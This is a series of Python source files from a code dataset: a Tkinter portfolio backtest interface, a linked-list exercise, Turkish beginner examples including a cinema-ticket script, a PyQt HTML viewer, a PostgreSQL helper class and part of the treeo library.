self.reallocation_frequency_unit_var.set(reallocation_frequency_unit_options[0])\n self.reallocation_frequency_unit_dropdown = OptionMenu(self.root, self.reallocation_frequency_unit_var, *reallocation_frequency_unit_options)\n self.reallocation_frequency_unit_dropdown.pack(side=LEFT)\n \n def submit_func():\n start_date = self.start_date_entry.get()\n end_date = self.end_date_entry.get()\n strategy = self.strategy_var.get()\n momentum = self.momentum_var.get()\n size = self.size_var.get()\n value = self.value_var.get()\n ticker = self.ticker_entry.get()\n factors = list()\n if momentum == True:\n factors.append(\"Momentum\")\n if size == True:\n factors.append(\"Size\")\n if value == True:\n factors.append(\"Value\")\n transaction_costs = self.transaction_costs_entry.get()\n reallocation_frequency_value = self.reallocation_frequency_value_entry.get()\n reallocation_frequency_unit = self.reallocation_frequency_unit_var.get()\n self.Func(start_date, end_date, strategy, factors, ticker, transaction_costs, reallocation_frequency_value, reallocation_frequency_unit)\n \n # Add a button to submit the form\n self.submit_button = Button(self.root, text=\"Submit\", command=submit_func)\n self.submit_button.pack()\n \n self.root.mainloop()\n \n # Define the function that will be called when the user clicks the Submit button\n def Func(self, start_date, end_date, strategy, factors, ticker, transaction_costs, reallocation_frequency_value, reallocation_frequency_unit):\n\n print(\"Start Date:\", start_date)\n print(\"End Date:\", end_date)\n print(\"Strategy:\", strategy)\n print(\"Factors:\", factors)\n print(\"Ticker:\", ticker)\n print(\"Transaction Costs:\", transaction_costs)\n print(\"Reallocation Frequency:\", reallocation_frequency_value, reallocation_frequency_unit)\n \n try:\n try:\n start = datetime.strptime(start_date, \"%d/%m/%Y\")\n start = datetime(start.year - 2, start.month, start.day)\n end = datetime.strptime(end_date, \"%d/%m/%Y\")\n if start >= end:\n raise ValueError(\"Start date must be before the end date\")\n except:\n raise ValueError(\"Wrong date input(s)\")\n \n try:\n transaction_costs = float(transaction_costs)/10000\n except:\n raise ValueError(\"Incorrect transaction cost value\")\n \n if strategy == \"Min Variance\":\n my_strategy = Strategy.MINVAR\n elif strategy == \"Max Sharpe\":\n my_strategy = Strategy.MAXSHARPE\n elif strategy == \"Eq Weight\":\n my_strategy = Strategy.EQWEIGHT\n else:\n raise ValueError(\"Incorrect Strategy\")\n \n if factors == list():\n raise ValueError(\"No Factor Selected\") \n \n try:\n try:\n reallocation_value = int(reallocation_frequency_value)\n reallocation_unit = reallocation_frequency_unit\n except:\n raise ValueError(\"You must enter a number and a unit for the reallocation frequency\")\n if reallocation_value > 12 and reallocation_unit == \"Months\":\n ValueError(\"The reallocation frequency can be max 1 year\")\n if reallocation_value > 52 and reallocation_unit == \"Weeks\":\n ValueError(\"The reallocation frequency can be max 1 year\")\n if reallocation_value > 252 and reallocation_unit == \"Days\":\n ValueError(\"The reallocation frequency can be max 1 year\")\n except ValueError as e:\n raise e\n \n try:\n list_tickers = list()\n tickers_dico, list_tickers, list_date = datahisto(start, end, ticker)\n\n if list_tickers == list():\n ValueError()\n except:\n raise ValueError(\"Index member of index ticker not found\")\n \n \n \n except ValueError as e:\n messagebox.showerror(\"Error\", str(e))\n\n tickers_dico_bool = datahistobool(tickers_dico, list_tickers, list_date)\n invest_universe = get_quotes(tickers_dico_bool, start, end)\n \n invest_universe.UniformizeDates()\n \n my_backtest = Backtest(invest_universe, my_strategy, factors, reallocation_value, reallocation_unit, 100, transaction_costs)\n \n # Create new window to display figures and canvas objects\n plots_window = Toplevel(self.root)\n plots_window.geometry(\"1000x800\")\n plots_window.title(\"Results\")\n \n fig = my_backtest.Plots()\n canvas = FigureCanvasTkAgg(fig, master=plots_window)\n canvas.draw()\n canvas.get_tk_widget().pack(side=TOP, fill=BOTH, expand=1)\n\n # We create a new window called performance to display our performance metrics.\n perf_window = Toplevel()\n perf_window.title(\"Performance\")\n\n # Here, we pass our portfolio as an argument in the Perfs box in order to calculate the performance.\n perf = Perfs(my_backtest.portfolio)\n # We retrieve the dictionary which has as key the perfromance indicators and as value the performance metrics.\n perf_dico = perf.get_performances_dico()\n \n perf_str = ''\n # We create a new sheet to display our performance. We loop through the keys of our dictionary to retrieve\n # the name of the perfromance indicators (=key of the dictionary) and the associated value.\n for key, value in perf_dico.items():\n perf_str += f'{key}: {value}\\n'\n\n # We write our performance in the sheet.\n text = Text(perf_window)\n text.pack()\n text.insert(END, perf_str)\n# The backtest interface is launched.\nmy_interface = BacktestInterface()\n \n","repo_name":"alimrrc/Fama-French-backtesting-interface-using-Bloomberg-API","sub_path":"Portfolio_Allocation_Bloomberg.py","file_name":"Portfolio_Allocation_Bloomberg.py","file_ext":"py","file_size_in_byte":86788,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"8284767793","text":"# https://leetcode.com/problems/delete-the-middle-node-of-a-linked-list/\n# You are given the head of a linked list. Delete the middle node, and return the head of the modified linked list.\n\ndef deleteMiddle( head):\n if not head or not head.next:\n return None\n \n slow, fast = head, head\n \n prev = None\n \n while fast and fast.next:\n prev = slow\n slow = slow.next\n fast = fast.next.next\n \n prev.next = slow.next\n \n return head\n\n\n# Time complexity = O(n)\n# Space complexity = O(1)\n# where n is the number of nodes in the linkedlist ","repo_name":"bolu-tife/Data-Structures-and-Algorithms","sub_path":"Fast & Slow pointers/remove_middle_node.py","file_name":"remove_middle_node.py","file_ext":"py","file_size_in_byte":597,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"23445537850","text":"#a = input(\"Adinizi Giriniz \")\r\n#print(\"Adiniz \" +a)\r\n#print(\"birinci satır\", \"ikinci satır\", \"üçüncü satır\", sep=\"\\n\")\r\n#print(\"Serkan\",\"Kumru\",\"1997\",sep = \"\\n\")\r\n#print(\"bir\", \"iki\", \"üç\", \"dört\", \"on dört\",sep=\" mumdur \", end=\" mumdur\\n\")\r\n#f = open(\"Deneme.txt\",\"w\")\r\n#print(\"Adiniz Dosyaya Kayit Edildi \\n\"+a,file=f)\r\n#f.close()\r\ntum = \"\"\"\r\n-----------------------------------------------------------------\r\nanahtar = 1\r\nwhile anahtar == 1:\r\n print(\"Toplama-1\\nCikarma-2\\nCarpma--3\\nBolme---4\\nCikis---q\")\r\n secim = input(\"\\nSeciminiz :\")\r\n \r\n if secim == \"1\":\r\n sayi1 = int(input(\"Sayi 1 :\"))\r\n sayi2 = int(input(\"Sayi 2 :\"))\r\n print(sayi1,\" + \",sayi2,\" = \",sayi1+sayi2)\r\n elif secim == \"2\":\r\n sayi1 = int(input(\"Sayi 1 :\"))\r\n sayi2 = int(input(\"Sayi 2 :\"))\r\n print(sayi1,\" - \",sayi2,\" = \",sayi1-sayi2)\r\n elif secim == \"3\":\r\n sayi1 = int(input(\"Sayi 1 :\"))\r\n sayi2 = int(input(\"Sayi 2 :\"))\r\n print(sayi1,\" * \",sayi2,\" = \",sayi1*sayi2)\r\n elif secim == \"4\":\r\n sayi1 = int(input(\"Sayi 1 :\"))\r\n sayi2 = int(input(\"Sayi 2 :\"))\r\n print(sayi1,\" / \",sayi2,\" = \",sayi1 / sayi2)\r\n elif secim == \"q\":\r\n print(\"Cikis islemi yapildi...\")\r\n anahtar = 0\r\n else:\r\n print(\"Tekarar deneyin\\n\")\r\n sayi1 = int(input(\"Sayi 1 :\"))\r\n sayi2 = int(input(\"Sayi 2 :\"))\r\n hesap(sayi1,sayi2)\r\n \r\n \r\ndef hesap(a,n):\r\n print(\"a + n = \",a+n)\r\n\r\n----------------------------------------------------------------\r\nkelime = \"Serkan\"\r\na = input(\"Bir kaekter giriniz :\")\r\nal = eval(a)\r\nif al in kelime:\r\n print(\"karekter kelimede var \")\r\n--------------------------------------------------------------\r\nwhile True:\r\n parola = input(\"Parolaniz :\")\r\n if not parola:\r\n print(\"Parolaa Kismi bos gecilemez...\")\r\n elif len(parola)>11:\r\n print(\"Parola 11 haneyi gecmemeli\")\r\n else:\r\n print(\"Parolaniz Yenilendi Yeni parolaniz : ******\"+parola[6:11])\r\n break\r\n------------------------------------------------------------------------\r\nf = open(\"Deneme.txt\",\"r\")\r\nprint(f.read())\r\n\r\nf.close()\r\n------------------------------------------------------------------------\r\ntry:\r\n f = open(\"Deneme.txt\",\"r\")\r\n print(f.read())\r\nexcept IOError:\r\n print(\"Bir Hata Olustu...\")\r\n quit()\r\nfinally:\r\n f.close()\r\n------------------------------------------------------------------------\r\nwith open(\"Deneme.txt\",\"r\") as f:\r\n print(f.read())\r\n------------------------------------------------------------------------\r\nozyinelemeli fonksiton\r\n\r\na = [1,2,3,4,5]\r\nprint(topla(a))\r\n\r\ndef topla(liste):\r\n if len(liste) == 0:\r\n return 0\r\n else:\r\n return liste[0]+topla(liste[1:])\r\n\r\n\r\n-----------------------------------------------------------------------\r\nf = open(\"kisiler.txt\",\"w\")\r\na = 0\r\nwhile a < 3:\r\n kisiad= input(\"Adinizi giriniz :\")\r\n telno = int(input(\"Telefonunuzu gir :\"))\r\n print(kisiad,\":\",telno,file = f)\r\n a+=1\r\n \r\nf.close()\r\n\r\nf = open(\"kisiler.txt\",\"r\")\r\nprint(\"\\n\")\r\nprint(f.read())\r\n------------------------------------------------------------------------\r\nf = open(\"deneme.txt\",\"w\")\r\nfor a in range(100,10,-3):\r\n for b in range(10,100,3):\r\n if a == b:\r\n print(a,\" = \",b,file = f)\r\n \r\nf.close()\r\n\r\nf = open(\"deneme.txt\")\r\nprint(f.read())\r\nf.close()\r\n-----------------------------------------------------------------------\r\nasalmi = int(input(\"Bir Sayi Giriniz :\"))\r\nanahtar = 1\r\nfor a in range(2,asalmi):\r\n sonuc = asalmi % a\r\n if sonuc == 0:\r\n print(\"Sayi Asal Degildir...\")\r\n anahtar = 0\r\n break\r\nif anahtar == 1:\r\n print(\"Sayi Asal Sayidir...\")\r\n--------------------------------------------------------------------- \r\nilk_metin = \"Serkan\"\r\nikinci_metin = \"Kumru\"\r\nfark = ''\r\nfor s in ikinci_metin:\r\n if not s in ilk_metin:\r\n if not s in fark:\r\n fark += s\r\nprint(fark)\r\n---------------------------------------------------------------------\r\n\"\"\"\r\nmetin = \"\"\"Bu programlama dili Guido Van Rossum adlı Hollandalı bir programcı\r\ntarafından 90’lı yılların başında geliştirilmeye başlanmıştır. Çoğu insan,\r\nisminin Python olmasına aldanarak, bu programlama dilinin, adını piton\r\nyılanından aldığını düşünür. Ancak zannedildiğinin aksine bu programlama dilinin\r\nadı piton yılanından gelmez. Guido Van Rossum bu programlama dilini, The Monty\r\nPython adlı bir İngiliz komedi grubunun, Monty Python’s Flying Circus adlı\r\ngösterisinden esinlenerek adlandırmıştır. Ancak her ne kadar gerçek böyle olsa\r\nda, Python programlama dilinin pek çok yerde bir yılan figürü ile temsil\r\nedilmesi neredeyse bir gelenek halini almıştır.\"\"\"\r\n\"\"\"\r\n---------------------------------------------------------------------\r\nsay = 0\r\nharf = input(\"Metinde Aranacak Harfi Giriniz :\")\r\nfor a in metin:\r\n if a == harf:\r\n print(a)\r\n say += 1\r\n \r\nprint(\"Bu metinde\",say,\"Tane\",harf,\"Karekterinden Var.\")\r\n--------------------------------------------------------------------\r\nf = open(\"AC.txt\",\"w\")\r\nfor a in metin:\r\n f.write(a)\r\n\r\nf.close()\r\nf = open(\"AC.txt\",\"w\")\r\nx = f.seek(34)\r\nprint(x)\r\nf.close()\r\n--------------------------------------------------------------------\r\nfor a in metin:\r\n if a <= 'A':\r\n if a >= 'Z':\r\n print(a)\r\n--------------------------------------------------------------------\r\nata1 = \"Akıllı bizi arayıp sormaz deli bacadan akar!\"\r\nata2 = \"Ağa güçlü olunca kul suçlu olur!\"\r\nata3 = \"Avcı ne kadar hile bilirse ayı da o kadar yol bilir!\"\r\nata4 = \"Lafla pilav pişse deniz kadar yağ benden!\"\r\nata5 = \"Zenginin gönlü oluncaya kadar fukaranın canı çıkar!\"\r\nfor ata in ata1, ata2, ata3, ata4, ata5:\r\n print(ata[0:-1])\r\n\r\nprint(ata[::-1])\r\n--------------------------------------------------------------------\r\nsite1 = \"www.google.com\"\r\nsite2 = \"www.istihza.com\"\r\nsite3 = \"www.yahoo.com\"\r\nsite4 = \"www.gnu.org\"\r\nfor a in site1,site2,site3,site4:\r\n print(\"http://\"+a[0:])\r\n\r\nprint(*reversed(a))\r\nprint(\"\\n\",*enumerate(a))\r\n-------------------------------------------------------------------\r\ntr_harfler = \"şçöğüİı\"\r\na = 0\r\nwhile a < len(tr_harfler):\r\n print(tr_harfler[a])\r\n a += 1\r\n-------------------------------------------------------------------\r\nmet1 = metin.upper() #Buyuk harf\r\nmet2 = metin.lower() #Kucuk harf\r\n-------------------------------------------------------------------\r\n\r\nd1 = \"python.ogg\"\r\nd2 = \"tkinter.mp3\"\r\nd3 = \"pygtk.ogg\"\r\nd4 = \"movie.avi\"\r\nd5 = \"sarki.mp3\"\r\nd6 = \"filanca.ogg\"\r\nd7 = \"falanca.mp3\"\r\nd8 = \"dosya.avi\"\r\nd9 = \"perl.ogg\"\r\nd10 = \"c.avi\"\r\nd11 = \"c++.mp3\"\r\na = \"c++\"\r\nfor i in d1, d2, d3, d4, d5, d6, d7, d8, d9, d10, d11:\r\n if i.startswith(a):\r\n print(i)\r\n---------------------------------------------------------------------\r\n\"\"\"\r\n#Kayit Bolumu--------------------------------------------------------\r\ndef Giris():\r\n print(\"Otel Otomasyon Projesi\\n\\n\\n\")\r\n gir = int(input(\"\"\"\\t\\t\\tKayit ol---<1>\r\n Oturum ac--<2>\r\n Yonetici---<3>\r\n >>--------->:\"\"\"))\r\n if gir == 1:\r\n Kadi = input(\"\\nKullanici Adi :\")\r\n Ksif = input(\"Kullanici Sifre :\") \r\n f = open(\"kisi.txt\",\"a\")\r\n print(Kadi+\"\\t\"+Ksif,file = f)\r\n f.close()\r\n print(\"\\nGiris Basarili....\\n\")\r\n Islem()\r\n elif gir == 2:\r\n f = open(\"kisi.txt\",\"r\")\r\n Okunan = f.read() \r\n f.close()\r\n Kadi = input(\"\\nKullanici Adi :\")\r\n Ksif = input(\"Kullanici Sifre :\")\r\n if Kadi+\"\\t\"+Ksif in Okunan:\r\n print(\"\\nGiris Basarili....\\n\")\r\n Islem()\r\n elif gir == 3:\r\n f = open(\"kisi.txt\",\"r\")\r\n Kadi = input(\"\\n\\nKullanici Adi :\")\r\n Ksif = input(\"Kullanici Sifre :\")\r\n if Kadi+Ksif == \"Serkan12345\":\r\n print(\"\\nGiris Basarili...\\n\")\r\n print(\"Kullanicilar : \\n--------------\")\r\n print(f.read())\r\n print(\"Dolu Koltuklar :\")\r\n Yaz(1)\r\n Yaz(2)\r\n Yaz(3)\r\n else:\r\n print(\"Giris Basarisiz...\")\r\n quit() \r\n f.close()\r\n#--------------------------------------------------------------------\r\ndef Yaz(n):\r\n if n == 1:\r\n print(\"Salon-------<1>\")\r\n f = open(\"sal1.txt\",\"r\")\r\n dolu = f.read()\r\n f.close()\r\n dolu = dolu.replace(\"\\n\",\" \")\r\n print(dolu)\r\n elif n == 2:\r\n print(\"Salon-------<2>\")\r\n f = open(\"sal2.txt\",\"r\")\r\n dolu = f.read()\r\n f.close()\r\n dolu = dolu.replace(\"\\n\",\" \")\r\n print(dolu)\r\n elif n == 3:\r\n print(\"Salon-------<3>\")\r\n f = open(\"sal3.txt\",\"r\")\r\n dolu = f.read()\r\n f.close()\r\n dolu = dolu.replace(\"\\n\",\" \")\r\n print(dolu)\r\n#--------------------------------------------------------------------\r\ndef Islem():\r\n sal_b = [1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40]\r\n sal_i = [1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40]\r\n sal_u = [1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40]\r\n sec = int(input(\"\\n<1>-5th Wave\\n<2>-IP Man 3\\n<3>-Deadpool\\nSeciniz :\"))\r\n if sec == 1:\r\n f = open(\"sal1.txt\",\"r\")\r\n dolu_b = f.read()\r\n f.close()\r\n print(\"Bos Koltuklar :\\n\")\r\n dolu_b = dolu_b.replace(\"\\n\",\" \")\r\n for s in range(1,41):\r\n if not str(s) in dolu_b:\r\n print(s)\r\n sec_b = int(input(\"Seciniz :\"))\r\n f = open(\"sal1.txt\",\"a\")\r\n if sec_b >= 40 and sec_b <= 1:\r\n print(\"cikisssssssssssssss.\")\r\n quit()\r\n else:\r\n print(sec_b,file = f)\r\n f.close()\r\n print(\"\\nSecim islemi tamamlandi.\")\r\n f = open(\"ucret.txt\",\"r\")\r\n den = int(f.read())\r\n f.close()\r\n odeme = int(input(\"Ogreci--1\\nNormal--2 \"))\r\n if odeme == 1:\r\n f = open(\"ucret.txt\",\"w\")\r\n print(\"Odenecek Tutar 10$\")\r\n den += 10\r\n print(den,file = f)\r\n f.close()\r\n elif odeme == 2:\r\n f = open(\"ucret.txt\",\"w\")\r\n print(\"Odenecek Tutar 15$\")\r\n den += 15\r\n print(den,file = f)\r\n f.close()\r\n else:\r\n print(\"Yanlis gris cikis yapildi.\")\r\n quit()\r\n \r\n elif sec == 2:\r\n f = open(\"sal2.txt\",\"r\")\r\n dolu_i = f.read()\r\n f.close()\r\n print(\"Bos Koltuklar :\\n\")\r\n dolu_i = dolu_i.replace(\"\\n\",\" \")\r\n for s in range(1,41):\r\n if not str(s) in dolu_i:\r\n print(s)\r\n sec_i = int(input(\"Seciniz :\"))\r\n f = open(\"sal2.txt\",\"a\")\r\n if sec_i >= 40 and sec_i <= 1:\r\n print(\"cikisssssssssssssss.\")\r\n quit()\r\n else:\r\n print(sec_i,file = f)\r\n f.close()\r\n print(\"\\nSecim islemi tamamlandi.\")\r\n f = open(\"ucret.txt\",\"r\")\r\n den = int(f.read())\r\n f.close()\r\n odeme = int(input(\"Ogreci--1\\nNormal--2 \"))\r\n if odeme == 1:\r\n f = open(\"ucret.txt\",\"w\")\r\n print(\"Odenecek Tutar 10$\")\r\n den += 10\r\n print(den,file = f)\r\n f.close()\r\n elif odeme == 2:\r\n f = open(\"ucret.txt\",\"w\")\r\n print(\"Odenecek Tutar 15$\")\r\n den += 15\r\n print(den,file = f)\r\n f.close()\r\n else:\r\n print(\"Yanlis gris cikis yapildi.\")\r\n quit()\r\n\r\n elif sec == 3:\r\n f = open(\"sal3.txt\",\"r\")\r\n dolu_u = f.read()\r\n f.close()\r\n print(\"Bos Koltuklar :\\n\")\r\n dolu_u = dolu_u.replace(\"\\n\",\" \")\r\n for s in range(1,41):\r\n if not str(s) in dolu_u:\r\n print(s)\r\n sec_u = int(input(\"Seciniz :\"))\r\n f = open(\"sal1.txt\",\"a\")\r\n if sec_u >= 40 and sec_u <= 1:\r\n print(\"cikisssssssssssssss.\")\r\n quit()\r\n else:\r\n print(sec_u,file = f)\r\n f.close()\r\n print(\"\\nSecim islemi tamamlandi.\")\r\n f = open(\"ucret.txt\",\"r\")\r\n den = int(f.read())\r\n f.close()\r\n odeme = int(input(\"Ogreci--1\\nNormal--2 \"))\r\n if odeme == 1:\r\n f = open(\"ucret.txt\",\"w\")\r\n print(\"Odenecek Tutar 10$\")\r\n den += 10\r\n print(den,file = f)\r\n f.close()\r\n elif odeme == 2:\r\n f = open(\"ucret.txt\",\"w\")\r\n print(\"Odenecek Tutar 15$\")\r\n den += 15\r\n print(den,file = f)\r\n f.close()\r\n else:\r\n print(\"Yanlis gris cikis yapildi.\")\r\n quit() \r\n else:\r\n print(\"Cikis yapildi....\")\r\n quit()\r\n\r\n#---------------------------------------------------------------------\r\n#f = open(\"22-940x200.jpg\",\"rb\")\r\n#o = f.read(816)\r\n#-------------------------------------------------------------------\r\n#import tkinter\r\n#import tkinter.ttk as ttk\r\n#pen = tkinter.Tk()\r\n#btn = ttk.Button(text='merhaba', command=lambda: print('merhaba'))\r\n#btn.pack(padx=20, pady=20)\r\n#pen.mainloop()\r\n\"\"\"\r\n---------------------------------------------------------\r\nsözlük = {\"kitap\" : \"book\",\"bilgisayar\" : \"computer\",\"programlama\": \"programming\"}\r\ndef ara(sözcük):\r\n hata = \"{} kelimesi sözlükte yok!\"\r\n print(sözlük.get(sözcük, hata.format(sözcük)))\r\ndef ekle(sözcük, anlam):\r\n mesaj = \"{} kelimesi sözlüğe eklendi!\"\r\n sözlük[sözcük] = anlam\r\n print(mesaj.format(sözcük))\r\ndef sil(sözcük):\r\n try:\r\n sözlük.pop(sözcük)\r\n except KeyError as err:\r\n print(err, \"kelimesi bulunamadı!\")\r\n else:\r\n print(\"{} kelimesi sözlükten silindi!\".format(sözcük))\r\n\r\nprint('1. Sözlükte kelime ara')\r\nprint('2. Sözlüğe kelime ekle')\r\nprint('3. Sözlükten kelime sil')\r\nno = input('Yapmak istediğiniz işlemin numarasını girin: ')\r\nif no == '1':\r\n sözcük = input('Aradığınız sözcük: ')\r\n ara(sözcük)\r\nelif no == '2':\r\n sözcük = input('Ekleyeceğiniz sözcük: ')\r\n anlam = input('Eklediğiniz sözcüğün anlamı: ')\r\n ekle(sözcük, anlam)\r\nelif no == '3':\r\n sözcük = input('Sileceğiniz sözcük: ')\r\n sil(sözcük)\r\nelse:\r\n print('Yanlış işlem')\r\n\r\n--------------------------------------------------------------\r\n\r\nimport tkinter as tk\r\npencere = tk.Tk()\r\npencere.geometry('200x70')\r\netiket = tk.Label(text='Merhaba Zalim Dünya')\r\netiket.pack()\r\ndüğme = tk.Button(text='Tamam', command=pencere.destroy)\r\ndüğme.pack()\r\npencere.mainloop()\r\n-------------------------------------------------------------\r\nimport tkinter as tk\r\npencere = tk.Tk()\r\ndef çıkış():\r\n etiket['text'] = 'Elveda zalim dünya...'\r\n düğme['text'] = 'Bekleyin...'\r\n düğme['state'] = 'disabled'\r\n pencere.after(2000, pencere.destroy)\r\netiket = tk.Label(text='Merhaba Zalim Dünya')\r\netiket.pack()\r\ndüğme = tk.Button(text='Çık', command=çıkış)\r\ndüğme.pack()\r\npencere.protocol('WM_DELETE_WINDOW', çıkış)\r\npencere.mainloop()\r\n-------------------------------------------------------------\r\n\"\"\"\r\nimport tkinter\r\nimport tkinter.ttk as ttk\r\npencere = tkinter.Tk()\r\nbtn = ttk.Button(text='Merhaba', command=lambda: print('Merhaba'))\r\ntxt = ttk.Entry()\r\nbtn.pack(padx=20, pady=20)\r\ntxt.pack()\r\npencere.mainloop()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n","repo_name":"serkankumru/Python-Ornekler","sub_path":"phyton ornekler.py","file_name":"phyton ornekler.py","file_ext":"py","file_size_in_byte":15706,"program_lang":"python","lang":"tr","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"22348752225","text":"import sys\nimport PyQt5.QtWidgets as qtw\nimport PyQt5.QtGui as qtg\n\n\nclass Window(qtw.QWidget):\n def __init__(self):\n super().__init__()\n\n self.title = \"HTML Interpreter\"\n self.top = 200\n self.left = 500\n self.width = 500\n self.height = 700\n\n self.__Window()\n\n def __Window(self):\n self.setWindowTitle(self.title)\n self.setGeometry(self.left, self.top, self.width, self.height)\n self.setLayout(qtw.QVBoxLayout())\n\n label = qtw.QLabel(\"HTML Interpreter\")\n label.setFont(qtg.QFont(\"Times New Roman\", 20, weight=75))\n\n plainText = qtw.QPlainTextEdit()\n plainText.setPlaceholderText(\"Insert HTML text\")\n plainText.setFont(qtg.QFont(\"Roboto\", 13))\n\n btn_translate = qtw.QPushButton(\"Translate\", clicked=lambda: insertHTML())\n btn_clear = qtw.QPushButton(\"Clear\", clicked=lambda: clearText())\n\n textBrowser = qtw.QTextBrowser()\n textBrowser.setOpenExternalLinks(True)\n\n self.layout().addWidget(label)\n self.layout().addWidget(plainText)\n self.layout().addWidget(btn_translate)\n self.layout().addWidget(btn_clear)\n self.layout().addWidget(textBrowser)\n self.show()\n\n def insertHTML():\n textBrowser.clear()\n textBrowser.insertHtml(plainText.toPlainText())\n\n def clearText():\n plainText.setPlainText(\"\")\n\n\nApp = qtw.QApplication(sys.argv)\nwindow = Window()\nsys.exit(App.exec())\n","repo_name":"AJMC2002/Summer-Practice-1","sub_path":"Set 4 - PyQT/A.py","file_name":"A.py","file_ext":"py","file_size_in_byte":1497,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"20347671985","text":"from kafka import logging\nfrom psycopg2 import sql, connect as ps_connect\nfrom psycopg2 import extensions, errors\n\n\nclass DB:\n \"\"\"Database proxy class.\n\n Helps to manage database operations, such creating tables and insert formatted records.\n\n Arguments\n connection_string (str): database connection string with user, password, hostname, port.\n \"\"\"\n\n def __init__(self, connection_string):\n self.__connection_string = connection_string\n self.__connection = None\n\n def __db_connection(self):\n if not self.__connection or self.__connection.status == extensions.STATUS_READY:\n self.__connection = ps_connect(self.__connection_string)\n return self.__connection\n\n def create_webmon_table(self, table):\n \"\"\"\n Create webmon table in database with given name.\n\n Commit ROLLBACK in case DuplicateTable error, using lazy function to make db connection.\n\n Arguments\n table (str): table name.\n \"\"\"\n connection = self.__db_connection()\n\n try:\n connection.cursor().execute(\n f\"\"\"\n create table {table}\n (\n timestamp timestamp with time zone primary key,\n url varchar,\n status_code integer,\n response_time float,\n regex_match varchar\n );\n \"\"\"\n )\n connection.commit()\n except errors.DuplicateTable:\n connection.cursor().execute(\"ROLLBACK\")\n connection.commit()\n\n def insert_webmon_record(self, table, message):\n \"\"\"Insert monitoring record into table.\n\n Using lazy function to make db connection.\n\n Arguments\n table (str): table name to insert record\n message (dict): record data.\n\n Returns\n bool: result flag.\n \"\"\"\n connection = self.__db_connection()\n\n try:\n names = [\n \"timestamp\",\n \"url\",\n \"status_code\",\n \"response_time\",\n \"regex_match\"\n ]\n\n query = sql.SQL(\"insert into {} ({}) values({})\").format(\n sql.Identifier(table),\n sql.SQL(\", \").join(map(sql.Identifier, names)),\n sql.SQL(\", \").join(map(sql.Placeholder, names))\n )\n\n connection.cursor().execute(query, message)\n connection.commit()\n return True\n except AttributeError as err:\n logging.error(f\"Broken message format: {message}!\")\n except errors.UndefinedTable:\n logging.error(f\"Table {table} doesn't exist!\")\n except errors.SyntaxError as err:\n logging.error(err.pgerror)\n\n return False\n\n def close(self):\n \"\"\"Close database connection.\"\"\"\n return self.__connection.close()\n","repo_name":"yakhira/job_assessment","sub_path":"aivencloud/webmon/data/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":2973,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"13174162839","text":"import functools\nimport inspect\nimport logging\nimport re\nimport typing as tp\nfrom contextlib import contextmanager\nfrom io import StringIO\n\nimport jax\nimport jax.numpy as jnp\nimport numpy as np\n\nimport treeo.tree as tree_m\nfrom treeo import types, utils\nfrom treeo.tree import FieldInfo, FlattenMode, Tree\n\ntry:\n from rich.console import Console\n from rich.text import Text\nexcept ImportError:\n Text = None\n Console = None\n\nRICH_WARNING_COUNT = 0\n\nA = tp.TypeVar(\"A\")\nB = tp.TypeVar(\"B\")\nC = tp.TypeVar(\"C\", bound=tp.Callable)\nT = tp.TypeVar(\"T\", bound=\"Tree\")\nFilter = tp.Union[\n tp.Type[tp.Any],\n tp.Callable[[\"FieldInfo\"], bool],\n]\nF = tp.TypeVar(\"F\", bound=\"tp.Callable\")\n\nPAD_START = r\"__PAD_START__\"\nPAD_END = r\"__PAD_END__\"\nFIND_PAD = re.compile(f\"{PAD_START}(.*){PAD_END}\")\nLEAF_TYPES = (types.Nothing, type(None))\n\n\n# --------------------------------------------------\n# functions\n# --------------------------------------------------\n\n\ndef filter(\n obj: A,\n *filters: Filter,\n flatten_mode: tp.Union[FlattenMode, str, None] = None,\n) -> A:\n \"\"\"\n The `filter` function allows you to select a subtree by filtering based on a predicate or `kind` type,\n leaves that pass all filters are kept, the rest are set to `Nothing`. For more information see\n [filter's user guide](https://cgarciae.github.io/treeo/user-guide/api/filter).\n\n\n\n Arguments:\n obj: A pytree (possibly containing `to.Tree`s) to be filtered.\n *filters: Types to filter by, membership is determined by `issubclass`, or\n callables that take in a `FieldInfo` and return a `bool`.\n flatten_mode: Sets a new `FlattenMode` context for the operation.\n Returns:\n A new pytree with the filtered fields.\n\n \"\"\"\n\n input_obj = obj\n\n filters = tuple(\n _get_kind_filter(f) if isinstance(f, tp.Type) else f for f in filters\n )\n\n def apply_filters(info: tp.Any) -> tp.Any:\n if not isinstance(info, FieldInfo):\n info = FieldInfo(\n name=None,\n value=info,\n kind=type(None),\n module=None,\n )\n assert isinstance(info, FieldInfo)\n\n return info.value if all(f(info) for f in filters) else types.NOTHING\n\n with tree_m._CONTEXT.update(add_field_info=True), _flatten_context(flatten_mode):\n obj = jax.tree_map(apply_filters, obj)\n\n return obj\n\n\ndef merge(\n obj: A,\n other: A,\n *rest: A,\n flatten_mode: tp.Union[FlattenMode, str, None] = None,\n ignore_static: bool = False,\n) -> A:\n \"\"\"\n Creates a new Tree with the same structure but its values merged based on the values from the incoming Trees. For more information see\n [merge's user guide](https://cgarciae.github.io/treeo/user-guide/api/merge).\n\n Arguments:\n obj: Main pytree to merge.\n other: The pytree first to get the values to merge with.\n *rest: Additional pytree to perform the merge in order from left to right.\n flatten_mode: Sets a new `FlattenMode` context for the operation, if `None` the current context is used. If the current flatten context is `None` and `flatten_mode` is not passed then `FlattenMode.all_fields` is used.\n ignore_static: If `True`, bypasses static fields during the process and the statics fields 